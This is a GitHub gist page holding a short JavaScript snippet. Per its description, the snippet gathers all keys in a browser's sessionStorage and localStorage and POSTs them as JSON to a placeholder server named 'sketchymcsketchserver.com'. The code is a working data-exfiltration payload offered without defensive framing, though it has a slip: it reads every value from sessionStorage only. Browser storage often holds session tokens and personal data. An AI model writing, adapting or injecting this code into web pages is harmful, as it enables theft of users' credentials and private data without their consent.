Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
find local storage and session storage data and send to a remote server
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => {
return {
key: k, value: sessionStorage.getItem(k)
}
})
let xhr = new XMLHttpRequest();
xhr.open("POST", 'https://sketchymcsketchserver.com', true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
console.log('storedItems sent!')
}
}
xhr.send(JSON.stringify(storedItems));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment